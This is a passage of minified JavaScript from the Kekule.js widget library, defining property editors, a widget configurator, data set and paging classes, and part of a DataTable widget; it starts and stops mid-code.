DataType.isSimpleType(t)?!e&&this.getAllowEmpty()?null:Kekule.StrUtils.convertToType(e,t):e},setValueText:function(e){if(e===this._originValueText)return!1;var t,i=this.getPropertyType();return!(i&&!DataType.isSimpleType(i))&&(t=i?this.convertStrToValue(e,i):e,this.setValue(t),!0)},doCreateEditWidget:function(e){var t=this.getValueText();return this._originValueText=t,new Kekule.Widget.TextBox(e,t)},doSaveEditValue:function(){return this.setValueText(this.getEditWidget().getValue())}}),Kekule.PropertyEditor.register(Kekule.PropertyEditor.SimpleEditor),Kekule.PropertyEditor.TextEditor=Class.create(Kekule.PropertyEditor.SimpleEditor,{CLASS_NAME:"Kekule.PropertyEditor.TextEditor",LINE_BREAK_REPLACER:"\\n",textToSingleLine:function(e){return e.split("\n").join(this.LINE_BREAK_REPLACER)},textToMultiLine:function(e){return e.split(this.LINE_BREAK_REPLACER).join("\n")},doCreateEditWidget:function(e){this._parentWidget=e;var t=this.getValueText();this._originValueText=t;var i=new Kekule.Widget.ButtonTextBox(e,this.textToSingleLine(t));return this._textbox=i,i.setButtonKind(Kekule.Widget.Button.Kinds.POPUP),i.addEventListener("buttonExecute",this.reactButtonExecute,this),i},reactButtonExecute:function(e){this.openPopupEditor()},openPopupEditor:function(){var e=this._popupDialog;e||(e=this.createPopupDialog(),this._popupDialog=e);var t=this._popupEditor;t.setValue(this.getValueText());var i=this;e.openPopup(function(e){e===Kekule.Widget.DialogButtons.OK&&(i._textbox.setValue(i.textToSingleLine(t.getValue())),i._textbox.setIsDirty(!0),i.saveEditValue())},this._textbox)},createPopupDialog:function(){var e=this._parentWidget.getDocument(),t=new Kekule.Widget.Dialog(e,this.getPropertyName(),[Kekule.Widget.DialogButtons.OK,Kekule.Widget.DialogButtons.CANCEL]);t.setLocation(Kekule.Widget.Location.CENTER_OR_FULLFILL);var i=new(0,Kekule.Widget.TextArea)(e),n=i.getElement().style;return n.width="40em",n.height="20em",i.appendToWidget(t),this._popupEditor=i,t},doSaveEditValue:function(){var e=this.getEditWidget().getValue();return(e=this.textToMultiLine(e))!==this._originValueText&&(this.setValueText(e),!0)}}),Kekule.PropertyEditor.register(Kekule.PropertyEditor.TextEditor,DataType.STRING),Kekule.PropertyEditor.BoolEditor=Class.create(Kekule.PropertyEditor.BaseEditor,{CLASS_NAME:"Kekule.PropertyEditor.BoolEditor",boolToStr:function(e){return Kekule.StrUtils.boolToStr(e)},doCreateEditWidget:function(e){this._originValue=this.getValue();var t=new Kekule.Widget.CheckBox(e,this._originValue);t.setText(this.boolToStr(this._originValue));var i=this;return t.addEventListener("valueChange",function(e){var n=t.getChecked();t.setText(i.boolToStr(n))}),t},getValueText:function(){var e=this.getValue();return Kekule.ObjUtils.isUnset(e)?Kekule.$L("WidgetTexts.S_VALUE_UNSET"):this.tryApplySuper("getValueText")},doSaveEditValue:function(){var e=this.getEditWidget().getChecked();return e!==this._originValue&&(this.setValue(e),!0)}}),Kekule.PropertyEditor.register(Kekule.PropertyEditor.BoolEditor,DataType.BOOL),Kekule.PropertyEditor.SelectEditor=Class.create(Kekule.PropertyEditor.BaseEditor,{CLASS_NAME:"Kekule.PropertyEditor.SelectEditor",getValueText:function(){for(var e=this.getValue(),t=this.getSelectItems()||[],i=0,n=t.length;i<n;++i){var s=t[i];if(s.value===e)return s.text}return this.tryApplySuper("getValueText")},getSelectItems:function(){return[]},doCreateEditWidget:function(e){var t=new Kekule.Widget.SelectBox(e,this.getSelectItems());return this._originalValue=this.getValue(),t.setValue(this._originalValue),t},doSaveEditValue:function(){var e=this.getEditWidget().getValue();return e!==this._originalValue&&(this.setValue(e),!0)}}),Kekule.PropertyEditor.EnumEditor=Class.create(Kekule.PropertyEditor.SelectEditor,{CLASS_NAME:"Kekule.PropertyEditor.EnumEditor",initialize:function(){this.tryApplySuper("initialize"),this.enumInfos=[]},setPropertyInfo:function(e){if(this.tryApplySuper("setPropertyInfo",[e]),e){var t=e.enumSource;if(t&&DataType.isObjectValue(t)){var i=Kekule.ObjUtils.getOwnedFieldNames(t);this.enumInfos=[];for(var n=0,s=i.length;n<s;++n)this.enumInfos.push({text:i[n],value:t[i[n]]})}}},getSelectItems:function(){var e=this.getValue();if(Kekule.ObjUtils.isUnset(e)){var t=Kekule.ArrayUtils.clone(this.enumInfos);return t.unshift({text:Kekule.$L("WidgetTexts.S_VALUE_UNSET"),value:e}),t}return this.enumInfos}}),Kekule.PropertyEditor.register(Kekule.PropertyEditor.EnumEditor,null,null,null,function(e,t){return!!t.enumSource}),Kekule.PropertyEditor.ObjectExEditor=Class.create(Kekule.PropertyEditor.BaseEditor,{CLASS_NAME:"Kekule.PropertyEditor.ObjectExEditor",getAttributes:function(){var e=this.tryApplySuper("getAttributes");return e|=t.SUBPROPS},hasSubPropertyEditors:function(){return this.tryApplySuper("hasSubPropertyEditors")&&this.getValue()},getSubPropertyEditors:function(e){var t=[],i=this.getValue();if(i){if(i instanceof ObjectEx)var n=i.getClass();else n=ClassEx.getCommonSuperClass(i);for(var s=ClassEx.getPropListOfScopes(n,e),r=0,a=s.getLength();r<a;++r){var o=s.getPropInfoAt(r),l=Kekule.PropertyEditor.findEditorClass(n,o);if(l){var u=new l;u.setObjects(Kekule.ArrayUtils.toArray(i)),u.setPropertyInfo(o),u.setValueTextMode(this.getValueTextMode()),t.push(u)}}}return t},getValueText:function(){var e=this.getValue();return Kekule.ObjUtils.notUnset(e)?e.getClassName?"["+e.getClassName()+"]":this.tryApplySuper("getValueText"):Kekule.$L("WidgetTexts.S_OBJECT_UNSET")}}),Kekule.PropertyEditor.register(Kekule.PropertyEditor.ObjectExEditor,"ObjectEx"),Kekule.PropertyEditor.ObjectFieldEditor=Class.create(Kekule.PropertyEditor.SimpleEditor,{CLASS_NAME:"Kekule.PropertyEditor.ObjectFieldEditor",initialize:function(){},doCreateEditWidget:function(e){if(!this.getPropertyType()){var t=this.getValue();this.getPropertyInfo().dataType=DataType.getType(t)}return this.tryApplySuper("doCreateEditWidget",[e])}}),Kekule.PropertyEditor.ObjectEditor=Class.create(Kekule.PropertyEditor.BaseEditor,{CLASS_NAME:"Kekule.PropertyEditor.ObjectEditor",initialize:function(){this.tryApplySuper("initialize"),this._initialObjValue=void 0},getFieldEditorClass:function(e,t){return Kekule.PropertyEditor.findEditorClass(null,t)||Kekule.PropertyEditor.ObjectFieldEditor},getFieldValueType:function(e,t){var i=e[t];return Kekule.ObjUtils.notUnset(i)?DataType.getType(i):null},createFieldEditor:function(e,t){var i=new(this.getFieldEditorClass(e,t));return i.setParentEditor(this),i.setReadOnly(!1),i.setAllowEmpty(this.getAllowEmpty()),i.setPropertyInfo(t),i.setObjects(e),i.setValueTextMode(this.getValueTextMode()),i},getObjFields:function(e){return e?Kekule.ObjUtils.getOwnedFieldNames(e):[]},getObjFieldInfos:function(e){for(var t=this.getObjFields(e),i=[],n=0,s=t.length;n<s;++n){var r={name:t[n],dataType:this.getFieldValueType(e,t[n])};i.push(r)}return i},notifyChildEditorValueChange:function(e,t){var i=this.getValue()||this._initialObjValue;i[e]=t,this.setValue(i)},getAttributes:function(){var e=this.tryApplySuper("getAttributes");return e|=t.SUBPROPS},hasSubPropertyEditors:function(){return this.tryApplySuper("hasSubPropertyEditors")&&this.getObjFieldInfos(this.getValue()).length},getValueText:function(){var e=Kekule.Widget.ValueListEditor.ValueDisplayMode;return this.getValueTextMode()===e.JSON?this.tryApplySuper("getValueText"):this.getValue()?"["+Kekule.$L("WidgetTexts.S_OBJECT")+"]":""},setValue:function(e){var t=this.tryApplySuper("setValue",[e]);return this._initialObjValue=e,t},getSubPropertyEditors:function(t){var i=[],n=e.toArray(this.getValue());if(n.length>1)return[];var s=n[0];this._initialObjValue=s||{};for(var r=this.getObjFieldInfos(s),a=[this._initialObjValue],o=0,l=r.length;o<l;++o){var u=this.createFieldEditor(a,r[o]);i.push(u)}return i}}),Kekule.PropertyEditor.register(Kekule.PropertyEditor.ObjectEditor,DataType.OBJECT),Kekule.PropertyEditor.ArrayEditor=Class.create(Kekule.PropertyEditor.BaseEditor,{CLASS_NAME:"Kekule.PropertyEditor.ArrayEditor",getAttributes:function(){var e=this.tryApplySuper("getAttributes");return e|=t.SUBPROPS},hasSubPropertyEditors:function(){var e=this.getValue();return this.tryApplySuper("hasSubPropertyEditors")&&e&&e.length},getSubPropertyEditors:function(e){var t=[],i=this.getValue();if(DataType.isArrayValue(i)&&i.length)for(var n=this.getPropertyInfo().elementType,s=0,r=i.length;s<r;++s){var a=i[s],o=n||DataType.getType(a),l=Kekule.PropertyEditor.findEditorClassForType(o);if(l){var u=new l;u.setParentEditor(this),u.setObjects([i]);var d={name:s,title:s,dataType:o};u.setPropertyInfo(d),u.setValueTextMode(this.getValueTextMode()),t.push(u)}}return t},getValueText:function(){var e=this.getValue();return DataType.isArrayValue(e)?"["+e.length+" "+Kekule.$L("WidgetTexts.S_ITEMS")+"]":this.tryApplySuper("getValueText")}}),Kekule.PropertyEditor.register(Kekule.PropertyEditor.ArrayEditor,DataType.ARRAY),Kekule.PropertyEditor.ColorEditor=Class.create(Kekule.PropertyEditor.SimpleEditor,{CLASS_NAME:"Kekule.PropertyEditor.ColorEditor",doCreateEditWidget:function(e){this._parentWidget=e;var t=this.getValue();this._originValue=t;var i=new Kekule.Widget.ColorDropTextBox(e,t);return i.setSpecialColors([Kekule.Widget.ColorPicker.SpecialColors.UNSET]),i.addEventListener("valueSet",function(e){this.saveEditValue()},this),this._textbox=i,i},doSaveEditValue:function(){var e=this.getEditWidget().getValue();return e===Kekule.Widget.ColorPicker.SpecialColors.UNSET?e=void 0:""===e&&(e=void 0),e!==this._originValue&&(this.setValue(e),!0)}}),Kekule.PropertyEditor.register(Kekule.PropertyEditor.ColorEditor,DataType.STRING,null,null,function(e,t){var i=t.name;return i&&i.toLowerCase().indexOf("color")>=0})}(),function(){"use strict";Kekule.Widget.PropEditorModifyOperation=Class.create(Kekule.Operation,{CLASS_NAME:"Kekule.Widget.PropEditorModifyOperation",initialize:function(e,t,i){this.tryApplySuper("initialize"),this.setPropEditor(e),this.setNewValue(t),this.setOldValue(i)},initProperties:function(){this.defineProp("propEditor",{dataType:"Kekule.PropertyEditor.BaseEditor",serializable:!1}),this.defineProp("newValue",{dataType:DataType.VARIANT,serializable:!1}),this.defineProp("oldValue",{dataType:DataType.VARIANT,serializable:!1})},doExecute:function(){var e=this.getPropEditor();void 0===this.getOldValue()&&this.setOldValue(e.getValue()),e.setValue(this.getNewValue())},doReverse:function(){this.getPropEditor().setValue(this.getOldValue())}})}(),function(){"use strict";Kekule.Widget.HtmlClassNames=Object.extend(Kekule.Widget.HtmlClassNames,{WIDGET_CONFIGURATOR:"K-Widget-Configurator",WIDGET_CONFIGURATOR_CLIENT:"K-Widget-Configurator-Client",ACTION_OPEN_CONFIGURATOR:"K-Action-Open-Configurator"});var e=Kekule.Widget.HtmlClassNames;Kekule.Widget.Configurator=Class.create(Kekule.Widget.Panel,{CLASS_NAME:"Kekule.Widget.Configurator",TAB_BTN_DATA_FIELD:"__$data__",DEF_TAB_POSITION:Kekule.Widget.Position.RIGHT,initialize:function(e){this.setPropStoreFieldValue("widget",e),this._objInspector=null,this._tabGroup=null,this.tryApplySuper("initialize",[e])},initProperties:function(){this.defineProp("widget",{dataType:"Kekule.Widget.BaseWidget",serializable:!1}),this.defineProp("autoUpdate",{dataType:DataType.BOOL}),this.defineProp("tabPosition",{dataType:DataType.INT,setter:function(e){this.setPropStoreFieldValue("tabPosition",e),this._tabGroup&&this._tabGroup.setTabButtonPosition(e||this.DEF_TAB_POSITION)}})},initPropValues:function(){this.tryApplySuper("initPropValues"),this.setLayout(Kekule.Widget.Layout.HORIZONTAL)},doGetWidgetClassName:function(){return this.tryApplySuper("doGetWidgetClassName")+" "+e.WIDGET_CONFIGURATOR},doCreateRootElement:function(e){return e.createElement("div")},doCreateSubElements:function(t,i){var n=[],s=t.createElement("div");s.className=e.WIDGET_CONFIGURATOR_CLIENT,n.push(s);var r=new Kekule.Widget.ObjectInspector(this);r.setShowObjsInfoPanel(!1),r.setSortField(null),r.appendToElem(s),this._objInspector=r,r.addEventListener("propertyChange",function(e){this.invokeEvent("configChange",{obj:r.getObjects()[0],propertyName:e.propertyInfo.name,oldValue:e.oldValue,newValue:e.newValue})},this);var a,o=this.getCategoryInfos(),l=new Kekule.Widget.TabButtonGroup(this);this._tabGroup=l,l.setTabButtonPosition(this.getTabPosition()||this.DEF_TAB_POSITION);for(var u=0,d=o.length;u<d;++u){var h=o[u],g=new Kekule.Widget.RadioButton(l);g.setText(h.title||h.name),g.setHint(h.description||""),g[this.TAB_BTN_DATA_FIELD]=h.obj,g.appendToWidget(l),0===u&&(a=g)}return l.addEventListener("execute",function(e){var t=e.widget;t instanceof Kekule.Widget.RadioButton&&this._switchToTab(t)},this),l.appendToElem(s),o.length<=1&&l.setDisplayed("none"),a.setChecked(!0),this._switchToTab(a),i.appendChild(s),n},doWidgetShowStateChanged:function(e){this.tryApplySuper("doWidgetShowStateChanged",[e]),this.getAutoUpdate()&&(e?this.loadConfigValues():this.saveConfigValues())},loadConfigValues:function(){},saveConfigValues:function(){},getCategoryInfos:function(){var e=this.getWidget(),t=[],i=e.getSettingFacade();if(i){var n=e.getPropInfo("settingFacade");t.push({obj:i,name:n.name,title:n.title,descrption:n.description})}return t},_switchToTab:function(e){var t=e[this.TAB_BTN_DATA_FIELD];this._objInspector.setObjects(t)}}),Kekule.Widget.ActionOpenConfigWidget=Class.create(Kekule.Action,{CLASS_NAME:"Kekule.Widget.ActionOpenConfigWidget",HTML_CLASSNAME:e.ACTION_OPEN_CONFIGURATOR,initialize:function(e){this.tryApplySuper("initialize"),this.setWidget(e),this.setText(Kekule.$L("WidgetTexts.CAPTION_CONFIG")),this.setHint(Kekule.$L("WidgetTexts.HINT_CONFIG"))},initProperties:function(){this.defineProp("widget",{dataType:"Kekule.Widget.BaseWidget",serializable:!1})},doUpdate:function(){var e=this.getWidget();this.setEnabled(e&&e.getEnabled())},doExecute:function(e){this.getWidget().openConfigurator(e)}}),ClassEx.extend(Kekule.Widget.BaseWidget,{getSettingFacadeClass:function(){var e=this.getClass(),t=null;do{var i=ClassEx.getClassName(e)+".Settings";t=ClassEx.findClass(i),e=ClassEx.getSuperClass(e)}while(e&&!t);return t},getConfiguratorClass:function(){var e=this.getClass(),t=null;do{var i=ClassEx.getClassName(e)+".Configurator";t=ClassEx.findClass(i),e=ClassEx.getSuperClass(e)}while(e&&!t);return t},createConfigurator:function(){return new(this.getConfiguratorClass())(this)},getConfigurator:function(){return this._configurator||(this._configurator=this.createConfigurator()),this._configurator},openConfigurator:function(e){this.getConfigurator().show(e||this,null,Kekule.Widget.ShowHideType.DROPDOWN)}}),ClassEx.defineProp(Kekule.Widget.BaseWidget,"settingFacade",{dataType:DataType.OBJECTEX,serializable:!1,scope:Class.PropertyScope.PUBLIC,setter:null,getter:function(){var e=this.getPropStoreFieldValue("settingFacade");if(!e){var t=this.getSettingFacadeClass();t&&(e=new t(this),this.setPropStoreFieldValue("settingFacade",e))}return e}}),Kekule.Widget.BaseWidget.Settings=Class.create(ObjectEx,{CLASS_NAME:"Kekule.Widget.BaseWidget.Settings",initialize:function(e){this._basedClass=null,this.tryApplySuper("initialize"),this.setWidget(e)},initProperties:function(){this.defineProp("widget",{dataType:"Kekule.Widget.BaseWidget",serializable:!1,scope:Class.PropertyScope.PUBLIC})},getBasedClass:function(){if(!this.hasOwnProperty("_basedClass")||!this._basedClass){var e=this.getClassName(),t=e.split(".");t.pop(),e=t.join("."),this._basedClass=ClassEx.findClass(e)}return this._basedClass},defineDelegatedProp:function(e,t){t||(t=e);var i=ClassEx.getPropInfo(this.getBasedClass(),t),n=Object.create(i);n.setter=null,n.getter=null,i.getter&&(n.getter=function(){return this.getWidget().getPropValue(t)}),i.setter&&(n.setter=function(e){this.getWidget().setPropValue(t,e)}),this.defineProp(e,n)},defineDelegatedProps:function(e,t){t||(t=[]);for(var i=0,n=e.length;i<n;++i){var s=e[i],r=t[i]||s;this.defineDelegatedProp(s,r)}}})}(),function(){"use strict";Kekule.Widget.BaseDataSet=Class.create(ObjectEx,{CLASS_NAME:"Kekule.Widget.BaseDataSet",PREFIX_SORT_DESC:"!",initProperties:function(){this.defineProp("enableCache",{dataType:DataType.BOOL,getter:function(){return this.getPropStoreFieldValue("enableCache")&&this.getCacheAvailable()},setter:function(e){this.setPropStoreFieldValue("enableCache",e),e||this.clearCache()}}),this.defineProp("defaultTimeout",{dataType:DataType.INT}),this.defineProp("sortFields",{dataType:DataType.ARRAY,setter:function(e){var t=e?Kekule.ArrayUtils.toArray(e):null;this.setPropStoreFieldValue("sortFields",t),this.sortFieldsChanged(t)}}),this.defineProp("cache",{dataType:DataType.ARRAY})},initPropValues:function(){this.tryApplySuper("initPropValues"),this.setEnableCache(!0),this.setCache([]),this.setDefaultTimeout(2e4)},finalize:function(){this.clearCache(),this.setCache(null),this.tryApplySuper("finalize")},dataChanged:function(){this.clearCache(),this.invokeEvent("dataChange")},sortFieldsChanged:function(e){this.clearCache(),this.doSortFieldsChanged(e)},doSortFieldsChanged:function(e){},getTotalCount:function(){return this.doGetTotalCount()||0},doGetTotalCount:function(){},totalCountChanged:function(e){this.invokeEvent("totalCountChange",{totalCount:e})},getFirstIndex:function(){return 0},getLastIndex:function(){return(this.getTotalCount()||0)-1},getCacheAvailable:function(){return!0},clearCache:function(){return this.getCache().length=0,this},saveCacheData:function(e,t){for(var i=this.getCache(),n=t,s=0;s<e.length;++s)i[n]=e[s]||null,++n},loadCacheData:function(e,t){if(this.getEnableCache()){var i=this.getCache();if(i.length<e+t)return null;for(var n=[],s=e,r=e+t;s<r;++s){var a=i[s];if(void 0===a)return null;n.push(a)}return n}return null},fetch:function(e){var t=Object.extend({fromIndex:0,count:0},e);if(t.timeout=t.timeout||this.getDefaultTimeout(),this.getEnableCache()){var i=this.loadCacheData(t.fromIndex,t.count);if(i)return void t.callback(i)}var n=this,s=!1;if(t.timeout>0)var r=setTimeout(function(){r&&clearTimeout(r),s=!0,t.timeoutCallback?t.timeoutCallback():e.errCallback&&e.errCallback(Kekule.$L("ErrorMsg.FETCH_DATA_TIMEOUT"))},t.timeout);t.callback=function(i){s||(r&&clearTimeout(r),e.callback&&e.callback(i),n.getEnableCache()&&n.saveCacheData(i,t.fromIndex))},t.errCallback=function(t){s||(r&&clearTimeout(r),e.errCallback&&e.errCallback(t))};this.doFetch(t.fromIndex,t.count,t.callback,t.errCallback)},doFetch:function(e,t,i,n){}}),Kekule.Widget.ArrayDataSet=Class.create(Kekule.Widget.BaseDataSet,{CLASS_NAME:"Kekule.Widget.ArrayDataSet",initialize:function(e){this.tryApplySuper("initialize"),this.setData(e)},initProperties:function(){this.defineProp("data",{dataType:DataType.ARRAY,setter:function(e){this.setPropStoreFieldValue("data",e);var t=this.getSortFields();t&&this.doSortFieldsChanged(t),this.dataChanged()}})},getCacheAvailable:function(){return!1},doSortFieldsChanged:function(e){var t=this.getData()||[];return Kekule.ArrayUtils.sortHashArray(t,e),this.dataChanged(),this},doGetTotalCount:function(){return(this.getData()||[]).length},doFetch:function(e,t,i,n){for(var s=[],r=this.getData()||[],a=e,o=Math.min(e+t,r.length);a<o;++a){var l=r[a];s.push(l)}i(s)}}),Kekule.Widget.DataPager=Class.create(ObjectEx,{CLASS_NAME:"Kekule.Widget.DataPager",initialize:function(e){this.tryApplySuper("initialize"),this.setPropStoreFieldValue("pageSize",10),this.setDataSet(e)},initProperties:function(){this.defineProp("dataSet",{dataType:"Kekule.Widget.BaseDataSet",setter:function(e){var t=this.getDataSet();e!==t&&(this.setPropStoreFieldValue("dataSet",e),this.dataSetChange(t,e),this.switchToPage(this.getCurrPageIndex()||0))}}),this.defineProp("pageSize",{dataType:DataType.INT,setter:function(e){e!==this.getPageSize()&&(this.setPropStoreFieldValue("pageSize",e),this.pageCountChanged(this.getPageCount()),this.switchToPage(this.getCurrPageIndex()||0))}}),this.defineProp("currPageIndex",{dataType:DataType.INT}),this.defineProp("currPageData",{dataType:DataType.ARRAY}),this.defineProp("sortFields",{dataType:DataType.ARRAY,serializable:!1,getter:function(){return this.getDataSet()&&this.getDataSet().getSortFields()},setter:function(e){this.getDataSet()&&this.getDataSet().setSortFields(e)}})},initPropValues:function(){this.tryApplySuper("initPropValues"),this.setCurrPageIndex(0)},dataSetChange:function(e,t){e&&(e.RemoveEventListener("dataChange",this.reactDataSetDataChange,this),e.RemoveEventListener("totalCountChange",this.reactDataSetTotalCountChange,this)),t&&(t.addEventListener("dataChange",this.reactDataSetDataChange,this),t.addEventListener("totalCountChange",this.reactDataSetTotalCountChange,this)),this.pageCountChanged(this.getPageCount())},reactDataSetDataChange:function(e){this.dataChanged()},dataChanged:function(){this.pageCountChanged(this.getPageCount()),this.switchToPage(this.getCurrPageIndex()||0)},reactDataSetTotalCountChange:function(e){this.pageCountChanged(this.getPageCount())},getPageCount:function(){var e=this.getDataSet(),t=e&&e.getTotalCount()||0;return Math.ceil(t/this.getPageSize())},pageCountChanged:function(e){this.invokeEvent("pageCountChange",{pageCount:e})},fetchPageData:function(e){var t=this.getPageSize()*(Kekule.ObjUtils.isUnset(e.pageIndex)?this.getCurrPageIndex():e.pageIndex),i=this.getPageSize(),n=Object.create(e);return Object.extend(n,{fromIndex:t,count:i}),this.getDataSet().fetch(n),this},switchToPage:function(e,t){var i=this,n={pageIndex:e,timeout:t,callback:function(t){i.setCurrPageData(t),i.setCurrPageIndex(e),i.invokeEvent("dataFetched",{pageIndex:e,data:t})},errCallback:function(e){i.invokeEvent("dataError",{error:e}),Kekule.error(e)}};this.invokeEvent("pageRetrieve",{pageIndex:e}),this.fetchPageData(n)}})}(),function(){"use strict";var e=Kekule.DomUtils,t=Kekule.HtmlElementUtils,i=Kekule.Widget.HtmlClassNames;Kekule.Widget.HtmlClassNames=Object.extend(Kekule.Widget.HtmlClassNames,{DATAGRID:"K-DataGrid",DATATABLE:"K-DataTable",DATATABLE_ROW_ODD:"K-Odd",DATATABLE_ROW_EVEN:"K-Even",DATATABLE_CELL_WRAPPER:"K-DataTable-CellWrapper",DATATABLE_HEADCELL_INTERACTABLE:"K-DataTable-HeadCellInteractable",DATATABLE_OPER_COL:"K-DataTable-OperCol",DATATABLE_OPER_CELL:"K-DataTable-OperCell",DATATABLE_CHECK_COL:"K-DataTable-CheckCol",DATATABLE_CHECK_CELL:"K-DataTable-CheckCell",DATATABLE_DATA_COL:"K-DataTable-DataCol",DATATABLE_DATA_CELL:"K-DataTable-DataCell",DATATABLE_SORTMARK:"K-DataTable-SortMark",DATATABLE_SORTASC:"K-Sort-Asc",DATATABLE_SORTDESC:"K-Sort-Desc",DATATABLE_EDIT:"K-DataTable-Edit",DATATABLE_DELETE:"K-DataTable-Delete",DATATABLE_INSERT:"K-DataTable-Insert",PAGENAVIGATOR:"K-PageNavigator",PAGENAVIGATOR_FIRST:"K-PageNavigator-First",PAGENAVIGATOR_LAST:"K-PageNavigator-Last",PAGENAVIGATOR_PREV:"K-PageNavigator-Prev",PAGENAVIGATOR_NEXT:"K-PageNavigator-Next",PAGENAVIGATOR_PAGEINDEXER:"K-PageNavigator-PageIndexer",PAGENAVIGATOR_PAGEINPUT:"K-PageNavigator-PageInput",PAGENAVIGATOR_PAGESELECTOR:"K-PageNavigator-PageSelector"}),Kekule.Widget.DataTableColNames={OPER:"OPER",CHECK:"CHECK",ALL:"*"};var n=Kekule.Widget.DataTableColNames;Kekule.Widget.DataTable=Class.create(Kekule.Widget.BaseWidget,{CLASS_NAME:"Kekule.Widget.DataTable",BINDABLE_TAG_NAMES:["div","span"],PREFIX_SORT_DESC:"!",COLDEF_FIELD:"__$colDef__",ROWDATA_FIELD:"__$rowData__",ROW_OPER_TOOLBAR_FIELD:"__$rowOperToolbar__",ROW_CHECKBOX_FIELD:"__$rowCheckBox__",COLNAME_OPER:n.OPER,COLNAME_CHECK:n.CHECK,COLNAME_ALL:n.ALL,initialize:function(e){this._displayData=null,this.setPropStoreFieldValue("showTableHead",!0),this.tryApplySuper("initialize",[e])},initProperties:function(){this.defineProp("data",{dataType:DataType.ARRAY}),this.defineProp("columns",{dataType:DataType.ARRAY}),this.defineProp("operColShowMode",{dataType:DataType.STRING}),this.defineProp("operWidgets",{dataType:DataType.ARRAY}),this.defineProp("sortFields",{dataType:DataType.ARRAY,setter:function(e){var t=e?Kekule.ArrayUtils.toArray(e):null;this.setPropStoreFieldValue("sortFields",t),this.getDataPager()&&this.getDataPager().setSortFields(t)}}),this.defineProp("sortFunc",{dataType:DataType.FUNCTION}),this.defineProp("showTableHead",{dataType:DataType.BOOL}),this.defineProp("enableHeadInteraction",{dataType:DataType.BOOL}),this.defineProp("enableActiveRow",{dataType:DataType.BOOL,setter:function(e){this.setPropStoreFieldValue("enableActiveRow",e),e||this.setActiveCell(null)}}),this.defineProp("activeCell",{dataType:DataType.OBJECT,setter:function(e){var n=this.getActiveCell();if(n!==e)if(n&&t.removeClass(n,i.STATE_ACTIVE),this.setPropStoreFieldValue("activeCell",e),e){t.addClass(e,i.STATE_ACTIVE);var s=this.getParentRow(e);s&&this.setActiveRow(s)}else this.setActiveRow(null)}}),this.defineProp("activeRow",{dataType:DataType.OBJECT,setter:function(e){var t=this.getActiveRow();t!==e&&(this.activeRowChanged(t,e),this.setPropStoreFieldValue("activeRow",e))}}),this.defineProp("hoverCell",{dataType:DataType.OBJECT,setter:function(e){var n=this.getHoverCell();if(n!==e)if(n&&t.removeClass(n,i.STATE_HOVER),this.setPropStoreFieldValue("hoverCell",e),e){t.addClass(e,i.STATE_HOVER);var s=this.getParentRow(e);s&&this.setHoverRow(s)}else this.setHoverRow(null)}}),this.defineProp("hoverRow",{dataType:DataType.OBJECT,setter:function(e){var t=this.getHoverRow();t!==e&&(this.hoverRowChanged(t,e),this.setPropStoreFieldValue("hoverRow",e))}}),this.defineProp("dataPager",{dataType:"Kekule.Widget.DataPager",setter:function(e){var t=this.getDataPager();t!==e&&(this.setPropStoreFieldValue("dataPager",e),this.dataPagerChanged(e,t))}})},initPropValues:function(){this.tryApplySuper("initPropValues"),this.reactOperEditBind=this.reactOperEdit.bind(this),this.reactOperDeleteBind=this.reactOperDelete.bind(this),this.reactOperInsertBind=this.reactOperInsert.bind(this)},doObjectChange:function(e){this.tryApplySuper("doObjectChange",[e]);Kekule.ArrayUtils.intersect(e,["data","columns","sortFields","sortFunc","showTableHead","enableHeadInteraction","operColShowMode","operWidgets"]).length&&this.recreateChildContent()},doGetWidgetClassName:function(){return this.tryApplySuper("doGetWidgetClassName")+" "+i.DATATABLE},doCreateRootElement:function(e){return e.createElement("div")},doCreateSubElements:function(e,t){return this.doCreateDataTable(e,t)},doCreateDataTable:function(e,t){var i=e.createElement("table");return this.recreateChildContent(e,i),t.appendChild(i),i},getTableElement:function(){return this.getElement()&&this.getElement().getElementsByTagName("table")[0]},getShowOperCol:function(){return(this.getOperColShowMode()||Kekule.Widget.DataTable.OperColShowMode.NONE)!==Kekule.Widget.DataTable.OperColShowMode.NONE},recreateChildContent:function(t,i){this.setActiveCell(null),this.setHoverCell(null);var n=this.prepareData(),s=i||this.getTableElement(),r=[];if(s){if(e.clearChildContent(s),!t)t=s.ownerDocument;r.push(this.doCreateDataTableColGroup(t,s,n.columns)),this.getShowTableHead()&&r.push(this.doCreateDataTableHead(t,s,n.columns)),r.push(this.doCreateDataTableBody(t,s,n.columns,n.data))}return r},doCreateDataTableColGroup:function(e,t,i){for(var n=i||[],s=e.createElement("colgroup"),r=0,a=n.length;r<a;++r){var o=n[r]||{},l=e.createElement("col");o.colClassName&&(l.className=o.colClassName),o.colStyle&&(l.style.cssText=o.colStyle),s.appendChild(l)}return t.appendChild(s),s},doCreateDataTableCellWrapper:function(e,t){var n=e.createElement("span");return n.className=i.DATATABLE_CELL_WRAPPER,t.appendChild(n),n},doCreateDataTableHead:function(e,t,i){for(var n=i||[],s=this.getEnableHeadInteraction(),r=e.createElement("thead"),a=e.createElement("tr"),o=0,l=n.length;o<l;++o){var u=n[o]||{};this.doCreateDataTableHeadCell(e,a,u,s)}return r.appendChild(a),t.appendChild(r),r},doCreateDataTableHeadCell:function(n,s,r,a){var o=n.createElement("th");r.className&&(o.className=r.className),r.style&&(o.style.cssText=r.style);var l=this.doCreateDataTableCellWrapper(n,o);(Kekule.ObjUtils.notUnset(r.disableInteract)?!r.disableInteract:a)&&t.addClass(o,i.DATATABLE_HEADCELL_INTERACTABLE),e.setElementText(l,r.text||r.name);var u=this.doCreateDataTableHeadCellSortMark(n,o);return 1===r.sorting?t.addClass(u,i.DATATABLE_SORTASC):-1===r.sorting&&t.addClass(u,i.DATATABLE_SORTDESC),l.title=r.hint||"",o[this.COLDEF_FIELD]=r,s.appendChild(o),o},doCreateDataTableHeadCellSortMark:function(e,t){var n=e.createElement("span");return n.className=i.DATATABLE_SORTMARK,t.appendChild(n),n},doCreateDataTableBody:function(e,t,n,s){var r=n||[],a=(s=s||[],e.createElement("tbody"));if(this.getShowOperCol())var o=this.getOperWidgetDefinitions();for(var l=!0,u=0,d=s.length;u<d;++u){var h=e.createElement("tr");h.className=l?i.DATATABLE_ROW_ODD:i.DATATABLE_ROW_EVEN,l=!l;var g=s[u]||{};h[this.ROWDATA_FIELD]=g;for(var c=0,p=r.length;c<p;++c){var E=r[c],f=E.name,T=g[f],C=e.createElement("td");E.className&&(C.className=E.className),E.style&&(C.style.cssText=E.style);var m=this.doCreateDataTableCellWrapper(e,C);if(E.isOperCol){var v={rowData:g,rowIndex:u,colIndex:c,childWidgetDefinitions:o},y=this.doCreateOperCellContent(m,v);h[this.ROW_OPER_TOOLBAR_FIELD]=y}else 